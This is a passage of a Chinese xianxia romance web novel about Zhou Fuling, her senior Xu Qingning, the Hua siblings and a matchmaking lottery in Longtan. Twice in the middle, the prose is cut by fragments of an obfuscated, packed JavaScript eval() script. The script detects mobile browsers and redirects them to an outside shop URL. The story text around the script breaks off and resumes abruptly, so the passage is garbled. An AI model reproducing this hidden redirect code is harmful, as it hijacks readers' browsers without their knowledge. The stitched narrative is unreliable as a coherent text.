第三重刑罚,则针对最上层的修士,一至三品,“步神”大境,则是形神皆打。 雷鞭,便是第三重,不是极刑,但也绝不轻松。 周拂菱安静了一息,也变了脸色:“师兄!” 一旁的修士们也急了:“少掌门,万万不可!您还得养着。这半月之后,就是万山宴,您还要在万山试炼中去和四大门其他天师‘望道护生’!” “不过‘望道护生’,费不了多少灵力。二十鞭,也并非不可承受。律不可废。” 须清宁回首,见周拂菱脸色苍白,她似还想说什么,须清宁截住她的话,冷冷道,“以后长点记性。” 之后的日子,便是周拂菱回到了冰鉴峰。 众人见她,她一副怏怏不乐的样子。 周拂菱一向明媚,不知为何,她这几日看上去,眉眼似有几分阴翳,但靠近她时,这阴翳消失,如同错觉。她不过愧疚、难受地望着惊雷塔的方向。 须清宁则带人去了惊雷塔受刑,还严令不准周拂菱跟去。 听闻,须清宁受刑后躺了三日,那三日里他也没见周拂菱,伤好了一半,便赶去康荒斋善后。 周拂菱在无人时,去打听了一转须清宁,或者说天霁门做了什么。 须清宁先是彻底封锁康荒斋,清扫妖毒。这不重要。 周拂菱想知道的是另一方的动态。 果然,周拂菱查到须清宁抓住了云宁宗的几位重要仙官的错处,逼寰刺卸了这群修士的职,把他们驱逐出了东洲。 须清宁又去联络了云宁宗另一派长老——宁承珊,让她补人来。 据周拂菱的了解,被赶走的这些人,是云宁宗丹火仙子派的亲信和眼线,而和这一派斗得如火如荼的,就是宁朝雪母亲宁承寒的堂妹宁承珊派。 须清宁这是发现了云宁宗在康荒斋的所为,但没彻底撕破脸,在敲打他们? 云宁宗到底是想做什么?为什么要给须清宁布下神魂刺? 这看上去很不明智,很可能鱼死网破。 周拂菱想了一天,都没想出来云宁宗的动机。而她本如今迫切地想了解云宁宗的事,于是,趁着须清宁不在,她找来了记载云宁宗中各派系关系的金书,一页页翻下去。 “小茵姐姐。”周拂菱看了一半,突然看向贺茵,问道,“你是在哪里出生的?” “你怎么问这个?”贺茵本来给她送其他峰内事务金书,听到她的问话愣住,但 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是在检查峰内事务运转。 “师兄。”周拂菱小跑过去。 这是须清宁代她受罚后,她第一次看到他。 他眉眼映着天光,似天生带着股冷漠和倨傲,此时抬眸和她相对,眸子映着一抹澄冷的青色。 周拂菱把一枚菱角般的香囊,递给了他:“这是‘医灵符’,是我按着《仙灵护生方》去集了九十九种灵药,再托灵药堂的许仙师制成的。” “可缓释神念之伤的疼痛。” “听说你要去万山宴。带上吧。” 须清宁沉默了会儿,不知为何,二人如今对着,似有几分尴尬。 不过,周拂菱垂眸时,眼眸乌黑,沉不见底。 须清宁犹豫一番,低声说:“不必了。” 周拂菱:“你是不收我的东西了么?” “不是。我有了。”须清宁没看她,低声道,“灵药堂也早送过我此符。” “哦,好吧。”周拂菱咬唇,终是把护符小心翼翼地收回去了,低声道,“师兄,你没必要这样,不用再避着我了。” “实际上这几天,拂菱已经想清楚了。” 她身着雪色半臂,绿裥裙,容貌清秀,抬眸时,眼神清澈,看上去活泼单纯。 她负手,露出一枚玉镯,衬得皓腕雪白。 “我之前那样做,的确不好,拖累师兄了。” “所以,我打算听师兄的。过几日,我不是也要去龙潭么?我已经和小茵姐姐说好了,她带我去和凡族来的山门弟子相看。她是凡域长大的,认识不少。” 周拂菱没看须清宁,轻声道,“我这次便努力带回一个凡族子弟回冰鉴峰。师兄便不会如此烦扰了。” 然而,须清宁回答了周拂菱,却是用沉默回答。 周拂菱等半天,见没人回应,抬眸。 却见须清宁面无表情,目光紧锁她的脸。 他速来清冷的凤眸中,没有任何情绪。 “师兄?” 和他对视着,像是时间都停止了。 半晌,须清宁似才回神,“挺好。” 他冷脸,放下手里金书。 “我去查旁的金书了。周拂菱。” 8. 书 不知怎地,周拂菱发现,先前须清宁虽然在疏远她,但不至于挑刺,今日,他却挑刺起来。 他脸色不大好看地离开了。 过了会儿,贺茵找到周拂菱:“少掌门要见你。” 竟是须清宁冷脸找到她,开始挑三拣四起来,挑毛病时甚至有几分刻薄。 须清宁寒声道:“你最好留下来把冰鉴峰的事处理好。周拂菱。” “你在针对我吗?师兄。”周拂菱皱眉,“我和小茵姐姐说好了,我不会食言的。” “所以你要放下这些事?” “在我看来,这些事都可以安排给其他人,他们也能做好,不需要我留在这里。” 周拂菱说,“师兄,你是因为什么事心情不好么?别找我发泄。” “……” 须清宁一言不发,长睫如鸦羽,面如寒霜,拧着眉头。 过了会儿,他带人离开了,前往中洲龙潭。 贺茵来找周拂菱:“你们这是怎么了?怎么感觉少掌门看上去像是被你惹生气了?” “生气,没有呀。他不是一直这种脸色吗?”周拂菱说。 她背上她的小滕囊,打包了几份桂花糕,高高兴兴地道:“小茵姐姐,我们出发去龙潭!” …… 仙门,分为四洲。 中洲,正位于仙域的中央。 周拂菱是坐鲲鹏去的。 只见云雾流荡,众山分明。远远望去,龙潭上下,仙府与都城相望。 天幕之上,正筑着恢弘云府,金阙开万户,玉阶拥仙仗,万山宴的上试便在这里进行。 下方,则是龙潭城,三条九陌畅,万户千门开,四面八方都挂上了盏盏灯笼,火光蔓延至悬于空中的仙府,东西坊市,车马往来,好不热闹。 这里之所以如此繁华,是因为当今的仙盟盟主为龙潭之主邹兰辞。邹家统领此地。 她的年号是“狩光”,如今正是她掌权的第一百七十二年。 春日风醉,绿柳荫漫,周拂菱和贺茵走在西市,那说书先生的声音,也随风而来: “话说我们这万山宴的起源,还得从那场大荒灾说起……曾经,无论仙修、武修,都生活在凡间一个名为先唐的朝代,武宏三十三年,一场雪灾降临,二十年未止,民不聊生。” “适时,先唐长安,出现了一座古怪的高山,可以通天。前唐之主,便派出四大臣破通天道,分别是金羽郡主邹俪、夏国公夏景山、清潭须家长公子、时任东都都尉须环和司天台司天宁凌。” “那一日,百官送行,望他们进入那未知可怖的通天之岭,未曾想,四人成功了。” “四大修者将高山之巅的云端之地,命名为‘一重门’,在那里悟出如何运转天地元气,启玄抱一,不过百年间,便悟出一套仙法。这百年,凡间也反了李家王朝,各方藩镇,化为八大山门,多年战争后,由镇北王庸王李定钦统领各家。” “然而,因下方的故意隐瞒,四大仙修不知此事,得出仙法后,他们宅心仁厚,便把仙法传入世间,欲图止去雪灾——没想到,惹来了“庸王之祸”。庸王李定钦,先皇长孙,恩将仇报,想要吞掉一重门,竟是暗杀了所有仙门使者,还要挟其他山门攻打一重门。” “ ‘万山战争’因此打响。” 这战争足有三十年。” “开打时,因庸王暴政,有三大山门立即倒戈;后来,其他山门陆续投降,李族逃到荒地,成为魔修。” “而道圣生性仁良,宽恕了其他反叛者的罪过,天下大和,为纪念当年的万山相和之景,才有了万山宴,二十年一次。” 周拂菱早听过数次这传闻,不知怎地说书先生不厌其烦地说着一次又一次。 她在坊市买了不少小食,如油锤、毕罗和酥山。酥山,是山峦形状的冰滴淋,周拂菱分给旁人,忽听风声阵阵,众人抬头。 “凡域!凡域八大山门的人来了!” 长道之上,车架入城,气势恢宏。 龙潭仙众,都挤在路畔,想一观八大山门弟子的模样。 只见车架之上,皆是意气风发的青袍弟子,持剑抚琴,驾马进入龙潭。 贺茵来自凡域,也在周拂菱面前一一介绍,比如这个况家是屠夫家族,那个苗家是善养木灵的家族。 “听说,少掌门这次……就是想为你在这苗家里找一名师尊。” “我不想走,我就想留在天霁门。“周拂菱道。 “少掌门如此,大概也是因为……如今形势不好。”贺茵叹口气。 “况山首!况山首!” 又听唤声狂热,周拂菱昂首。 只见高空之中,一辆神鹿载着的车,于高空进入了这龙潭。青衣的少年修士们站在车头,手上飞出雪白的绸带。 那车架中坐着一位青衫女子,虽蒙着面,但能看出端庄秀美,身边坐着几位年轻貌美、面目肃然的孩子,正和四周的人招手。 “山首,山首!”她看上去很受爱戴,不少人冲上去送花。 但天霁门人——特别是冰鉴峰的人,脸色却有几分微妙。 “哦,师兄曾经的继母。”周拂菱道。 她知道,当年便是这位继母和须清宁的父亲成婚后,须清宁的状况每况愈下,最后更是因为其继母的养子须蕤自焚,被害得十年冤狱。 然而,这一切尘埃落定,须清宁洗冤,这位况允初,却成为凡域山首。 周拂菱曾经研究过仙门各位人物的事迹,却以为,况允初,是最难看懂的人之一。 却见贺茵倏然蹲下来,人缩成了一团。 周拂菱见是一辆灵兽拉着的车跑来,便问:“为何蹲下?” 贺茵: “说来,这里有人,与我有怨隙。” 不过少顷,倏有一只手,挟带劲风,猛地攻向贺茵。 一旁佐官大惊,就要帮手,贺茵却道:“没事,没事!” 只见来者是一位黄衣女子,她眉英目明,长相如花,面如春风,背着一只白泽,手拿长笛,笛中藏剑,出手大张大合,甚是豪迈。 二人过招,不过十招,便是停手,女子哈哈大笑: “贺茵,好久未见,甚是想念!你上次,不过和我吵了一架,竟就把你的白虎留给我一个人照顾,好不要脸!” “月兮,饶了我,我也是仙门召令,不得不回!” 周拂菱注意到,这个女子是凡族人,身后还跟了一位青年。他一身青袍,丰神俊朗,眉目有些清冷,但比须清宁温润些。 他对周拂菱行了一礼。 花月兮却倏然拉住周拂菱的手,眉眼弯起来,咧牙道:“你是周拂菱姑娘吧?小茵已经告诉我了,我知道你今日想做什么!走,我这就带你去!” …… 贺茵对周拂菱介绍了,这是来自花灵山的兄妹,妹妹叫花月兮,哥哥叫花玉流,都是四品,来参加万山宴的千山试炼。 他们是凡族最优秀的弟子,胜者,便可去仙门择师修行。他们便是为此而来的。 周拂菱对二人行礼。 不过,暗地里,周拂菱却想起了贺茵的玉牒里的传讯: ——[花月兮:阿茵,我们查到了你那云宁宗的父亲在康荒斋留下的线索。万山宴去龙潭一叙。] 周拂菱用目光描摹贺茵的轮廓。有几分眼熟呢。 而花月兮性子十分豪爽,带他们去了一个地方,乌泱乌泱的全是仙域少男少女。 不少人都聚在一个阁楼里,神色都有些害羞,也有些雀跃。 中央的台子上,站着一个穿着青袍子的凡族小师姐。小师姐敲锣打鼓,随后介绍了规则如下。 “咱们这阁楼的活动,正叫作‘三日游’。参加者,女方写金签,男方写银签,我作为主持,会把抽一金签一银签抽在一处。” “抽到一处的人,便是牵手成功。必须一起游玩三天,也正好作为试炼前的休整。” “若是结缘成功,请各赏我六十六下等灵石喜钱,谢谢,谢谢!” 周拂菱:“……” 这活动总让她感到有几分微妙,好像挺好赚钱的。 但这也令她感到挺新奇。 周拂菱想把自己的名字写上了一张金签,随后递给了台上的凡族小师姐。 议论声突然四起。 “咦,这不是天霁门的周拂菱师妹吗?她不是跟在须少掌门身边的么?” “……她不是心仪须少掌门么?还以为她要去宁朝雪仙子那里闹呢。” 一位藏在人群中的白衣青带弟子,突然风一样地冲出去,风一样地拿出玉牒报讯了。 人群嘈嘈杂杂之际,花月兮推了下她的哥哥,那位俊朗温润、却一言不发的青年: “哥哥,你也去呀。” “你怎么不先去?”花玉流冷冷说。 “我又没被邹家为难,又没被强硬地塞了帖,也没有邹家的小姐看上我。” 周拂菱没忍住回头看了眼花玉流,花玉流正蹙眉,没想到,这人不仅气质和须清宁像,经历上也和须清宁有几分像。 “哥哥,这里到底大多是咱们青山族的人,知根知底,也是入试者,你跟着她们玩三天,邹家到底也是大族,还能拿你怎么样?逼你去龙潭府吗?”花月兮道,“你不写,我写!” “像是趁着花玉流不备,花月兮抢过银签,把她哥哥的名字写好,交了上去,投入箱子。花玉流紧抿嘴唇,脸都气白了,大喊一声:“……你!” “哥哥,这里到底大多是咱们青山族的人,知根知底,有什么不好?” 花玉流冷哼了几声:“罢了,我一会儿会给那姑娘赔罪,说是你在胡闹。” 贺茵则在二人的签交上去,挤到前方,殷切地等待结果,不一会儿,她捏着一枚金签、一枚银签跑回来。 “有了,有了!是你们呀!是你们呀!” “什么‘是你们呀’?” “拂菱和玉流,抽到一起了!” 周拂菱立时回头看花玉流。 只见青年的眸睁大,如猫一样,眸中透着震惊,似这才开始认真打量她。 明明看上去已百岁,耳朵竟红了一半。 他温声道:“周姑娘,没想到……是你。” 周拂菱对花玉流微笑。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13574743|143004||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 特别是那鼻子,如神的造物,挺秀小巧。她乌发上插着雪莲簪花,配着她那身利落的青裙,可谓花容月貌,靓丽娟好。 她一双眼也乌黑明亮,因为她的生长环境,从出生起,带着股常人没有的天真。 花玉流竟像是恍惚了下,脸倏然红了。 然而…… 很有意思。 周拂菱想。 她的目光暗暗落到了花月兮的手指上。 她指腹蜷曲,那里有一道无色的印记,来自某种可粘物的高阶咒术,能悄无声息地标记二物,让二物相粘。 而花玉流的手指上,也有这等印记,说明他写银签时也参与了。 这不是他们安排的吗? ——对她的金签动手脚,和花玉流的银签同出。 不过,对方诧异,她便表现得更诧异。 花玉流望着她,一双眼极为漂亮。 一只雪色宝马,玉勒雕鞍,被他的佐官拉到了阁楼前。 他翻身上去,对周拂菱伸出手,对周拂菱红着脸道: “周姑娘,可愿和我一同去听凡七戏?” 周拂菱也害羞地垂眸,抿唇道:“好啊。” 她上了马。 花玉流的手十分冰凉。 拉上周拂菱之际,他眼底暗暗闪过一丝愧色。 …… 天幕之上,龙潭仙府,灵气游荡。 万山宴,高阶的修士皆住在这里。须清宁作为天霁门少掌门,拥有自己的府邸。 此时,须清宁正冷冷抬眸:“什么?你说周拂菱去抽了金银签?” “是。” 执官昊澄小心翼翼地道。 方才,他来禀报了一些万山宴的事态,而后,便犹豫着把周拂菱的事告诉了须清宁。 他知道,须清宁最近对周拂菱的态度十分古怪。 而先前,须清宁还在冰鉴峰时就对周拂菱发了火,而且脾气发得很古怪,完全没必要。 周拂菱也没接他的火,让须清宁一路前来,提到周拂菱脸色就不太好看,后来没人敢提了。 昊澄便对须清宁说了,周拂菱去观万山宴,之后认识了花家兄妹,还去抽了金签银签的事。 “金签银签?”须清宁当时不解。 “就是凡族的相看风俗,未有道侣的少女少女抽签,之后便一起游玩三日。” “听说这几日,他们一直形影不离呢。那花玉流带着周师妹,一会儿看凡七戏,一会儿去挂彩绸。周师妹似和他处得极好,也是很喜欢他的,要查查那花玉流公子么?” “……” 须清宁抬眼,这一刻,昊澄发觉少掌门的目光很冷,如浸寒影,竟是脸色比先前提周拂菱时还难看了十倍。 “少掌门,你再不去,不知会如何。”昊澄小心说,“查一番花玉流公子,您便去找找周师妹吧?” 昊澄跟着须清宁,多少了解几分他的脾气和性子,小声劝解。 “……我去做什么?”须清宁却冷冷垂眸道,“退下吧。” 昊澄:“…………” 也罢。昊澄不多话,离开了。 …… 之后,须清宁看上去旁若无事,然而,待昊澄退下,须清宁却倏然猛地扣上手上金书,目光锐利地望向一旁的火烛。 他半晌未动,如同化为了石雕,指尖如被抽去了血色。 不知怎地,他突然想起了很久以前的事。 须清宁缓缓抬眼。 仙府之外,风飙雪暗,白茫茫一片。 须清宁无声地站起来,在书架上,找到了阵法书,他翻开。 当时受神魂刺,是云宁宗趁着他治妖无法分出手,手段阴损,他才中招。 须清宁抿唇,目光停在了“销噩”那一页。 销噩,即销去诅咒。 神魂刺,便是其中之一。 须清宁尝试过数次自己解开,但奈何,下手之人,功力可谓此界巅峰,并不易解。 须清宁再次记忆“销噩”的阵法,他对此早有计划。 在万山宴。 但须清宁如今迫切地希望这件事不要再出错。他得确保万无一失。 [日月失其行,薄蚀无光;风雨非其时,毁折生灾。 ] [复其行,复其时。] 须清宁记下咒术。 一道光光,分别射向苍天、玄天、昊天、炎天,为九野之东北西南。灵息冲向他的五脏九窍,是在调和阴阳,须清宁拿出一个青玉瓶,服下了一枚青如绿玉的丹药。 然而,远方风啸声起,是仙府云端之风。 一道声音,却倏然再次出现在他的识海: [联结成功……] [宿主须清宁,成功绑定救世灵玉叁拾叁号。] [绑定世界:“成圣”] [世界难度:乾级(万死一生)] [宿主身份:天霁门少掌门、东洲少主,仙盟东洲方相,从一品仙修。] [也为天道副子,可理解为男二。] [宿主,再次重申,若要活命,你必须保护主角,攻略反派!] 9. 叁拾叁 一派寂静中,须清宁愣住。 而后,他听出了声音来自何方,是芥子符在异动。 须清宁低头,召出一枚石块——这是一个石像,砂岩雕刻,千手四面。他凝眉。 四日前,须清宁受完鞭刑,便再次去了那康荒斋。 他未忘记当时只有他听得到的异动。 他再次前往那个地点,却只发现松动的砂土,和这枚埋在地下的石像。 四面神佛,两面女,两面男。 也是在这一刻,冰冷的石像,倏然化为齑粉。 [活了,又活了……是你,须清宁!我现在是几号了?!] 此声冰冷,来自识海。 须清宁凝眉,然而,他按上了剑柄。 [不!叁拾叁,竟然叁拾叁,我死了叁拾贰次!都是她,那个恶鬼!] 须清宁抿唇审视这道声音。 却听一声龙吟,他的长剑起,四周钉上引妖符。 须清宁早就想等待着做这件事,以验证此物,是否为妖。若是妖,必定符动。 不想,符起,却又符落…… [你记住,这个世界的剧情……] 不知为何,声音破碎,像是远方笛音袅袅。 须清宁的剑锋迅疾,雷音出,穿风破空,杀意横浮! 而须清宁的剑法,已入造境,虽不算仙门出手最快之人,但在出招缜密方面,几乎可名列前茅。 在这透骨寒的剑影围剿中,墙壁中被挖出一道光灵,却倏然消散。 而后,只觉什么嵌入识海,须清宁捂住头,撞在一旁的墙上。 这光灵,在须清宁识海里道: [我知道你现在不信任我,但记着我下面说的信息。] [今夜,花家花月兮和花玉流将在龙潭仙鱼池畔被劫杀。 只因他们带来了可以查出云宁门掌门宁承跃杀妻的线索。 他们不知道的是,他们也接触了可以掀倒宁邹二家的其他线索。] [你去保护他们。他们活下来,会帮助你查出须家被屠杀一案,再者,也是最重要的……他们可以助你活久一些!] 须清宁猛地抬眸。 ……什么怪灵? 到底是否为妖? ……须家屠杀案? 须清宁脸色也化为惨白。 然而,须清宁低头,他的手背上,却多了一道印记。 其色为铜青,呈纯苍玉之色,泛熔金之光,正写着—— “叁拾叁。” …… 这印记,须清宁怎么都除不掉。 他尽量冷静。 他怀疑这是和神魂刺一样的东西。 是谁做的? 须清宁思忖半天,又觉得不对劲。 如今仙域,品阶分为一到九品,一品为上,九品为下,他是从一品,如今的仙府,也聚着无数高手。 没有谁,或者说没有须清宁认识的人修,有能力在龙潭仙府上布下东西,外面还没有反应。 须清宁也不认为是邹家。 因为叔父和他同居龙潭东仙府,叔父的妻子属于邹家旁支之主,任是九大仙卿中的少庭尉,也派人来守着东仙府,当不存在有谁可以神不知鬼不觉地做下这种事。 那熔金之光,如法印一样,彻底刻在了他的手背上。 须清宁负手,无声望着光灵消失的地方,刚才他试图追踪光灵,也试图勘破识海之物,却也没用。 他皱眉,想了想,坐下了。 须清宁再次记忆: [成圣] [天道副子] [花玉流和花月兮] [云宁门掌门宁承跃杀妻] [须家被屠案] 既然无法对抗,那便先去确认。 ——“他们活下来,会帮助你查出须家被屠杀一案,再者,也是最重要的……他们可以助你活久一些!!” 须清宁猛地站起来,拿好剑,戴上斗笠,离开了。 ……而且,他记得,周拂菱也和两位兄妹在一起。 …… 龙潭下壤。 夜市灯火通明,桥边生火,暖意摇舟。四面八方,皆是往来的修士和商贩。 仙鱼池畔就在旁边,那其实是一湾巨湖,最早是池,被邹家凿成了湖,放入了许多为龙潭祈福的灵鱼。 须清宁站在这仙鱼池畔的桥边,正谨慎地望向远方。 须清宁在来的路上,已经去查了拿花家兄妹二人。 花月兮,花玉流,为花灵山少主,或者说是现在的二位山主。 之所以他们现下就当山主,是因为多年前花家发生了一桩诡异之事。 四十三年前,花家长辈在花灵山山洞设宴时,一位修士精神失常,封洞自焚,把所有人都被烧死了。 这两位兄妹当时年幼,先是被十万大山山首况允初— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“没事的。”周拂菱道,“我那里多着呢。” 说着,她便已经把护符解下来了。 须清宁:“…………” 虽然如今前来想验证身上棘手的事,他冰冷的目光却落到了周拂菱的手指上。 周拂菱正要把护符放到花玉流手里,却倏然听见一道冰冷的传声: [周拂菱,过来。] 这传声只有周拂菱才听得见。 周拂菱立刻回头。 墙角处,须清宁戴着巨大的斗笠,穿了身群青猎装,对她使了个眼色,目光如刀。 周拂菱:“……” “你拿着。”她把护符按在了花玉流手里,“我有些事,去去就回。” 10. 操纵 实际上,在遇见须清宁前,周拂菱做了不少事。 都成功了,也很有趣。 比如,她尝试了操纵花玉流。 这不难。 第一步,周拂菱先是暗暗改了花玉流的芥子囊,让他寻不到东西; 此后,她损坏他的法器,但在其他人来查看之前,修复好。 这种行为固然看起来没什么杀伤力,但周拂菱要做的,只是要花玉流怀疑他自己。 果然,第一日相识,花玉流本兴致勃勃、温润有礼地对她讲解如何鉴赏凡戏,但发生了几次这种事后,他便总是一个人站在墙后,紧抿苍白的嘴唇,茫然地盯着手中的芥子囊。 动摇心防只是第一步,第二步,就是找到他的弱点。 “玉流,这是我爹娘最喜欢的青竹糕。你拿回去,带给你的父亲如何?”周拂菱在此之前,尝试问过“朋友”“姐妹”“师尊”,最后在花玉流试图教她射金箭时,她问出了这句话。 他的神色,和她提到其他人时,并不同。怔忪,逃避,苍白的手指,后退的脚……周拂菱发现了他的心结。 “我父亲已经去世了……周姑娘。” 第三步,便更难一些。把他丢回足以复现心魔的场景,这得寻到足够的时机。 但周拂菱运气极好的是,她在龙潭,花月兮、贺茵也在,她足够悄悄问清楚,到底发生了什么事。 “过去啊,月兮和玉流的父亲,有不少外室,偏宠私生子,曾把玉流在试炼时一人丢在深山里。玉流不知情,总以为是爹爹精神不好,不曾想,他百日求得药,最后见到花家爹爹,却被那藏着身份、爱争风吃醋的私生子找茬,把药摔了一地。花家爹爹也什么都没说。之后,玉流便不见花家爹爹。再最后,花家爹爹死了。”贺茵告诉她。 所以,最害怕的,是被抛弃,是不被选择,是被无视心意。可怜的玉流。 周拂菱了解后,便开始了最后一步,场景重现,并给出另一种解法。 她不打算全盘自己出手,风险太大。于是,打听了和花家兄妹有怨的人,确定那是个世俗里德行有缺(周拂菱所理解的俗世概念)的人,“无意间”漏给那人的势力花玉流的行踪,再让花玉流在落单时,被这个人为难诬陷。 “花玉流,好啊,就是你盗我玉佩!” 周拂菱那天走过去时,便看见花玉流脸色苍白,一脸愤怒地盯着一位仙修贵公子,是邹家的旁支,围着他要为难。 “玉流公子没偷!”周拂菱出声,还带上了自己身边的佐官,走了上去,“我以冰鉴峰的名义为他担保。这两日,他一直跟在我身边,无论所见,还是我平日所感,玉流公子之品行,绝无问题。我都相信他。” “周姑娘!我们在一旁的池塘里,发现一枚丢掉的玉佩!”她身后的佐官也道。 “……”在对方怒气腾腾、面红耳赤的逃离后,花玉流怔怔看着她,眼神已然变了。 “拂菱,不是告别了么?你怎么会回来?”他的目光很小心,有些难以置信。 “说来惭愧。”周拂菱满脸愧疚,轻声道,“路上以为不小心丢了花公子与我的珍珠帘,便回来寻找。不想坏了花公子的心意。” “……”花玉流怔怔看着她。 自那之后,周拂菱可以自信地说,花玉流的目光就离不开她了。 他不如之前健谈,不过两天,便总是面红耳赤,结结巴巴。 这让周拂菱很开心。其他人的信任和仰慕,让她感到安全,感到力量。 从实践中,她也再次确认了自己的能力。 ——不过,唯一遗憾的是,周拂菱对须清宁也用过这套。 但须清宁根本不吃。 “我没记错。如果你认为我记错了,你证明,周拂菱。” 周拂菱还记得自己第一次尝试使用的时候,须清宁坚定、警惕、漠然地盯着她。 “……”自那之后,又用了几次无用,怕须清宁怀疑,她没敢用了。 ——若是可以操纵须清宁就好了。周拂菱想,或许这是她想选择须清宁作道侣的另一个原因。 真想从心智方面征服他。 …… 砖墙之上,也映灯火。 周拂菱已回过神。 她走过去,正看见须清宁易了容的脸,过去她也见过他这般易容,所以认出了他。 他目光冰冷,凤眸雪亮,似能洞穿人心。 周拂菱微微垂眸。 须清宁皱眉,压低声音,冷冷质问:“你在做什么?” “送护符啊。” “那是我送给你的。” “你送给我,我转送,不行吗?”周拂菱说。 须清宁寒声道:“哦,没想到你如此擅长借花献佛。” “什么借花献佛?”周拂菱后退一步,皱起眉头,不满道,“师兄送给我的,自然就是我的。由我自己处置。莫非师兄送我的,师兄还准备拿回去,不算我的?” “……”须清宁一时被周拂菱激得没话说,但也不想和她纠缠此事。 他望向四周,又压低声音,谨慎叮嘱,“……今夜可能有危险,你不要和花家兄妹待一起。先找个借口回去。” 周拂菱当即变色。 须清宁这里,又有花月兮、花玉流的什么事? 她却道:“什么危险?那我们快告诉他们。” “别。”须清宁拉住周拂菱的手,“他们才刚和你认识,不值得信任。” “不信任?但我看他们挺好的呀。而且师兄,我和他们约好了,我不回去。”周拂菱拍了拍布包,“我还有师兄的其他护符,没事的。” 须清宁胸口起伏,不想听周拂菱鬼扯,下令道:“你必须回去。” 他声音透骨寒,如冰石,也如寒风。 寻常弟子听到,大概知道须清宁动了怒,是怎么也不敢违逆的。 周拂菱却不吃这套。 她也冷了脸,低声说:“不,师兄,如果你非要逼我回去,我就和你绝交。” “我是可以去青山凡族门下去,但我也将投出天霁门。总之,我只要去一个尊重我意志的地方。” “…………” 须清宁有时真拿周拂菱没办法,不由陷入沉默。 周拂菱再次拍了拍包包:“我过去不也总是逢凶化吉嘛,师兄放心。” 须清宁:“等等。” “你带我一起过去。” “……”周拂菱的背微微一僵。 真得带须清宁过去? …… 花家兄妹和贺茵坐在一起,正在准备一会儿要上船的物什:莲花灯、祈福用的纸笺、筹箸,以及不少美食佳肴,如酥琼叶、酥油鲍螺和荔枝酒。 “拂菱人呢?该上船了。”花月兮说。 然而,等周拂菱回来,他们却傻了眼。周拂菱怀里,多了一只小小的雪白的老虎。 这种灵兽正名为“白虎”,通体雪白,一双金眸亮如金星,本该张扬,但其气质意外的冰冷。 这白虎正是须清宁用化形阵所化。 这也是他方才想出的折衷法子。 以灵兽接近花家兄妹,更容易观察,也不会被察觉。 再者,周拂菱态度执拗,他跟着,若是出事了,也方便照拂一二。 而须清宁化成的小老虎有人的半臂高,伏在周拂菱怀里,脊背高耸,腿部修长有力,在空中一晃一晃,皆呈现出漂亮完美的曲线。 这也不是每个人都能做到的。 和须清宁的家族血脉有关。 对于仙门子弟,通常能够更完美地化形为家族图腾。而须家崇灵凤,夏家崇白虎。高品化身,也会远比低品完美。 是以,花家兄妹刚看到他,也没发现异常,眼睛一下就亮了。 花月兮:“白虎!” 花玉流也没说话,也靠近了他。 花灵山养灵兽,二人都是喜欢生灵之人。 他们都挤过来,伸手就想抱须清宁。 花玉流的手却被须清宁一巴掌高冷地掀飞了。 至于花月兮的手,须清宁温柔了点,但也被他一手背掀飞了。 随后,他躲到了周拂菱的怀里。 “它脾气好坏!哪里来的白虎?路边捡的吗?”花月兮也不是很吃惊,因为龙潭是仙门盛地,许多人家都喜欢养小灵兽,路边也会跑灵兽,图个吉利。 这类灵兽都是当吉祥物饲养的,所以身量极小。 “呵呵,是的。它大概是龙潭养的,刚刚在路边,非要跟着我。”周拂菱按上了须清宁的脑袋,须清宁如先前拒绝她那狠狠地扭头,瞪了她一眼,随后倨傲地别开脸。 之后,五人坐上一只画船。 仙鱼池畔,劈池为湖,足有一千亩。远远望去,青盖亭亭,鱼戏莲叶,碧波粼粼,正是仙门好景观。 此处的灵鱼,也被一层金光湛湛的结界保护,所以游船不会影响它们,许多修士上船后,会在荷间赏玩湖光,也会在湖心放下莲花灯许愿。 他们上船时,湖面已有许多行船,遥遥望去,莲花灯连成一片星火,和明月星辰交相辉映。 桨划,湖光映月,泛起阵阵涟漪。 周拂菱坐在船边,正捏着手里的莲花灯,膝盖倏然被重重一撞。 她低头,须清宁正立在她身侧,冰冷的传声也随之而来: ——[你们是不是要行酒令?] 除了花灯,船中木几上也放上了荔枝酒、令筒、骰子和筹箸。 这的确是行酒令用的。 这是凡族的习俗之一,游玩时,众人一起喝酒,令官主持投骰,定出输赢家,输家为大家助兴。 而酒令,一向分为“嬉令”和“言令”。 “嬉令”,输者必须听赢者号令,完成一件事,一般是唱歌、跳舞、作诗等等。 “言令”,便是输者必须回答赢者的一个问题。 周拂菱悄悄点头。 须清宁:[那一会儿,你听我传声,若是赢了,对花家兄妹用''言令''。他们的一些事,我想知道。] 须清宁想知道花家兄妹的什么事? 周拂菱好奇地抬头。但打算静观其变,又点头。 之后,他们先放灯,再行酒令。 船至湖心,周拂菱在朱笺上,先认真写下了愿望。 见须清宁在这里,她专门写了一张“愿师兄平安喜乐”,摸了摸须清宁的虎头,示意他看。 须清宁看了眼,别扭地扭开头,不置可否。 而对于花玉流,周拂菱也端平了水,又写了一张“愿玉流平安喜乐”,悄悄递给了花玉流看。 这一看,花玉流早不同初见时的游刃有余,他竟接过,默默低头,脸再次红成柿子,结结巴巴一句话都说不出,挤了半天,只挤出一句“谢谢拂菱”。 须清宁:“…………“ 周拂菱再回头,却发现须清宁只留下一个冰冷的背影。 他跑到另一边的甲板上,背对他们眺望湖岸,似 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“我想问月兮一个问题。因为我很好奇……”周拂菱道,“月兮和玉流为什么来龙潭呢?听说不少花灵山的弟子,都选择隐世,不参与仙门纷争呢。” “为什么来?我们,我们来龙潭,是想拜入,拜入……”花月兮说着醉话,一旁的花玉流的脸色却微微变了,他似想提醒她什么,但还没出手,花月兮道,“拜入,更高的门第。三大门,仙师好啊!人往高处走!” 花玉流听见花月兮这么说,似暗暗松了口气,手收回去了。 “还有,我们来……”花月兮说,“是要捉贼。” 她的声音突然肃穆,脸色也严肃起来。 与此同时,花玉流和贺茵都抬起了眼。贺茵本在一旁倒酒,此时突然脸色紧张,瞪向花月兮。 